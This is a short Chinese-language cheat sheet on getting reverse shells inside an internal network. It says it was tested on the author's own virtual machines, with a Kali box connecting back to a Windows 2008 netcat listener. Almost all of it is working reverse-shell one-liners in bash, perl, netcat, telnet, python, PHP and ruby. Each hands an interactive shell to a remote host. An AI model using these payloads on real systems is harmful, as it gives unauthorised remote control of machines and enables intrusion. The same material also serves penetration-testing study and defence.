内网Shell反弹
内网shell反弹的各种姿势:
以下仅在自己虚拟机上进行测试。
-
bash
在win2008上使用nc监听8888端口
nc.exe -lvvp 8888
在kali上执行下列命令
bash -i >& /dev/tcp/192.168.16.128/8888 0>&1
此时win2008已经获取到bash
2.perl
在win2008上使用nc监听8888端口
nc.exe -lvvp 8888
在kali执行下列命令:
perl -e 'use Socket;$i="192.168.16.128";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
此时win2008已经获取到bash
3.nc正向连接
在kali上执行下列命令:
nc -lvvp 8888 -e /bin/bash
在win2008上连接8888端口
nc.exe -vv 192.168.31.143 8888
nc反向连接
在win2008上使用nc监听8888端口
nc.exe -lvvp 8888
在kali上执行
nc -vv 192.168.31.147 8888 -e /bin/bash
此时win2008已经获取到权限
4.telnet
在win2008上使用nc监听8888端口
nc.exe -lvvp 8888
在kali上执行下列命令:
mknod backpipe p && telnet 192.168.31.147 8888 0<backpipe | /bin/bash 1>backpipe
此时win2008已经获取到权限
5.python
在win2008上使用nc监听8888端口
nc.exe -lvvp 8888
在kali上执行下列命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.147",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
此时win2008已经获取权限:
6.PHP
在win2008上使用nc监听8888端口
nc.exe -lvvp 8888
在kali执行下列命令:
php -r '$sock=fsockopen("192.168.31.147",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
此时win2008已经获取到权限:
7.ruby
在win2008上使用nc监听8888端口
nc.exe -lvvp 8888
在kali上执行下列命令:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.31.147","8888");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
此时win2008已经获取到权限: